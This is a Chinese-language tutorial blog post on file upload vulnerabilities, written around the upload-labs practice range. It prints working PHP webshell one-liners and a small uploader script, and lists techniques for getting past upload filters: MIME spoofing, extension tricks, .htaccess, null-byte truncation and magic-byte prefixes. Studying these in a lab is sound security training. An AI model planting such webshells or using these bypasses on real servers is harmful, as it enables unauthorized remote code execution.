文件上传漏洞

文件上传漏洞

一、webshell

1、特点
  • 以动态脚本形式出现
  • asp或php木马后门
  • 可以穿过服务器防火墙,通过80端口传输数据
  • 一般不会在系统日志中留下记录,只会在web日志中留下数据传输记录
2、常见webshell

Get 方式

<?php eval($_GET[pass]);?>

Post方式

<?php eval($_POST[pass]);?>

Cookie

<?php @$a = $_COOKIE[1]; $c = '';@assert($b,$a);?>
3、攻击流程
  • 利用web漏洞获取web权限
  • 上传小马
  • 上传大马
  • 远程调用webshell执行命令
4、基本原理
  1. 可执行脚本
  2. 数据传递
  3. 执行传递的数据

二、实现木马注入

1、

2、上传小马

<?php
@$temp = $_FILES['upload_file']['tmp_name'];
@$file = basename($_FILES['upload_file']['name']);
if (empty($file)){
    echo "<form action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n";
    echo "Local file: <input type = 'file' name = 'upload_file'>\n";
    echo " <input type = 'submit' value='Upload'>\n";
    echo "</form>\n<pre>\n\n</pre>";

}
else {
    if (move_uploaded_file($temp,$file)){
        echo "File uploaded successfully.<p>\n";
    }else {
        echo "Unable to upload".$file.".</p>\n";
    }
}
?>

3、上传大马

三、 文件上传基础

1、什么是文件上传

将客户端数据以文件形式封装,通过网络协议发送到服务器。在服务器端解析数据,最后作为服务端硬盘上作为真实文件保存

2、文件上传产生漏洞的原因

  • 配置不当
  • 开源编辑器的上传漏洞
  • 文件上传限制被绕过
  • 文件解析漏洞导致文件执行
  • 过滤不严被绕过

3、危害

攻击者上传恶意文件通过解析器去执行,在服务器上执行恶意代码

4、可能存在漏洞的位置

  1. 图片上传功能
  2. 头像上传功能
  3. 文档上传功能

5、文件上传测试方式

1、客户端JavaScript 检测(检测文件拓展名)

2、服务器 MIME类型检测(检测 contect-type 内容)

3、服务端目录路径检测(检测跟参数 path 相关的内容)

4、服务端文件拓展名检测(检测跟文件extension相关的内容)

5、服务端文件内容检测(检测内容是否合法是否含有恶意代码)

6、文件上传绕过

在这里插入图片描述

7、绕过客户端检测

原理

在上传页面里通常会有检测文件上传的 JavaScript 代码,一般是检测文件类型和拓展名是否合法

方法

在本地浏览器通过插件禁用JS

四、upload-labs

1、搭建靶场

1.用 docker 搜索 upload-labs

dockder search upload-labs

2.拉取

docker pull c0ny1/upload-labs

3.查看镜像库

docker images
REPOSITORY            TAG       IMAGE ID       CREATED       SIZE
c0ny1/upload-labs     latest    aa4fdd1dd211   4 years ago   472MB
acgpiano/sqli-labs    latest    0976afc45249   7 years ago   434MB
nooneandu/sqli-labs   latest    0976afc45249   7 years ago   434MB

4.运行

docker run -d -p 80:80 c0ny1/upload-labs

这里不知道为什么运行不了

选择直接git clone 源代码到 apache根目录运行

在这里插入图片描述

2、绕过前端检测

一般前端会有 JavaScript 对上传的数据进行检测

<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
                <p>请选择要上传的图片:<p>
                <input class="input_file" type="file" name="upload_file"/>
                <input class="button" type="submit" name="submit" value="上传"/>
            </form>

onsubmit="return checkFile()"就是前端过滤的方法,当上传违规文件是就会进行拦截报错

在这里插入图片描述

一般有两种方法可以进行绕过

1.用浏览器工具删除前端的过滤代码

在这里插入图片描述

2.先把数据后缀改变,利用 BP 进行拦截数据包,在传输的过程中修改,数据类型

在这里插入图片描述

在这里插入图片描述

把 ‘as.png’成’as.php’,就可以绕过,成功访问传输成功的 PHP 文件

在这里插入图片描述


碰到一个坑,提示:上传出错

在这里插入图片描述

看了一下,不是因为拦截代码,是因为这一串

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>
  
  
  //出错部分
  if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }

1.可能是因为$temp_file, $img_path这个两个参数不识别

2.可能版本原因部分参数不适用

解决:docker 换了一个monstertsl/upload-labs:latest,之前使用的是c0ny1/upload-labs,目前什么原因还不知道


3、绕过服务端检测

服务端代码通常检测三个点:MIME类型,文件后缀,文件内容

常见MIME类型

  • ​ 超文本标记语言文本 .html,.html text/html
  • ​ 普通文本 .txt text/plain
  • RTF文本 .rtf application/rtf
  • GIF图形 .gif image/gif
  • JPEG图形 .jpeg,.jpg image/jpeg
  • au声音文件 .au audio/basic
  • MIDI音乐文件 mid,.midi audio/midi,audio/x-midi
  • RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio
  • MPEG文件 .mpg,.mpeg video/mpeg
  • AVI文件 .avi video/x-msvideo
  • GZIP文件 .gz application/x-gzip
  • TAR文件 .tar application/x-tar
1.MIME类型检测 绕过

原理:检测图片类型文件上传过程中 http的Content-Type字段的值,来判断上传文件是否合法

绕过方法:用 BP截取并修改Content-Type字段来绕过

在这里插入图片描述

2.绕过文件后缀检测
黑名单策略:

文件扩展名在黑名单中为不合法,一般有一个专门的黑名单列表,里面会包含常见的危险脚本文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pYsGBYlw-1692601986778)(/Users/caodelong/Library/Application Support/typora-user-images/image-20230815224859809.png)]

黑名单绕过方法
  • 后缀大小写绕过:在对后缀的判断中,如果只是对字符串进行单独的比较来判断是不是限制文件,可以采用后缀名大小写绕过形式
  • 空格绕过:如果黑名单没有对后缀名进行去空处理,可以通过后缀名后加空进行绕过
  • 点绕过:window 特性
  • ::$DATA:window 特性
  • 配合 Apache解析漏洞:Apache 解析文件是从右往左判断,a.php.owf.rar,Apache 不能判断 owf 和 rar 后缀最后把该文件解析成 a.php 文件
  • .htaccess 文件绕过:配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过任何检测

Htaccess 文件,提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件夹,以作用于此目录及所有子目录。作为用户,所能使用的命令受到限制。

白名单策略:

文件扩展名不在白名单里不合法

白名单绕过方法

服务端判断文件类型是从后往前判断,而对文件解析是从前往后解析,可以利用00截断的方式进行绕过,包括%00截断与0x00截断

%00,是 URL 的特殊编码,类似于注释后面的后缀名,例如a.php%00.png ==>a.php

3.绕过文件内容检测

一般通过检测文件内容判断文件是否合法

两种主要的检测方法

  • 通过检测文件开始处的文件幻数来判断

​ 通常情况下,通过判断前10个字节,就能判断出一个文件真实的类型

  • 文件加载检测

​ 一般通过调用 API 或者函数进行加载测试。常见的是图像渲染测试,再严格一些就是二次渲染

绕过方法

  • 主要在PHP文本里的第一行加入对应的文件幻数
  • 对渲染加载测试攻击-代码注入绕过:用图像处理软件对一个图片进行代码注入
  • 对二次渲染的攻击方式–攻击文件加载器自身:这种情况无法用代码注入绕过,二次渲染会把不属于图像数据的部分分割开来

​ 用溢出攻击对文件加载器进行攻击,上传恶意文件后,服务器上的文件加载器会进行加载测试,加载测试时被溢出攻击执行 shellcode

​ 攻击原理:在不破坏本身的渲染情况下找到一个空白区域 进行填充代码,一般是图片的注释区,这样能保证文本结构完整,对于渲染测试基本都能绕过

常见文件幻数

JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
TIFF (tif),文件头:49492A00
Windows Bitmap (bmp),文件头:424D
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
Email [thorough only] (eml),文件头:44656C69766572792D646174653A
Outlook Express (dbx),文件头:CFAD12FEC5FD746F
Outlook (pst),文件头:2142444E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
MS Access (mdb),文件头:5374616E64617264204A
WordPerfect (wpd),文件头:FF575043
Adobe Acrobat (pdf),文件头:255044462D312E
Quicken (qdf),文件头:AC9EBD8F
Windows Password (pwl),文件头:E3828596
ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221
Wave (wav),文件头:57415645
AVI (avi),文件头:41564920
Real Audio (ram),文件头:2E7261FD
Real Media (rm),文件头:2E524D46
MPEG (mpg),文件头:000001BA
MPEG (mpg),文件头:000001B3
Quicktime (mov),文件头:6D6F6F76
Windows Media (asf),文件头:3026B2758E66CF11
MIDI (mid),文件头:4D546864

五、Web 解析漏洞

1、Apache 解析漏洞

2、IIS6.0解析漏洞

3、IIS7.0解析漏洞

4、Nginx 解析漏洞

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值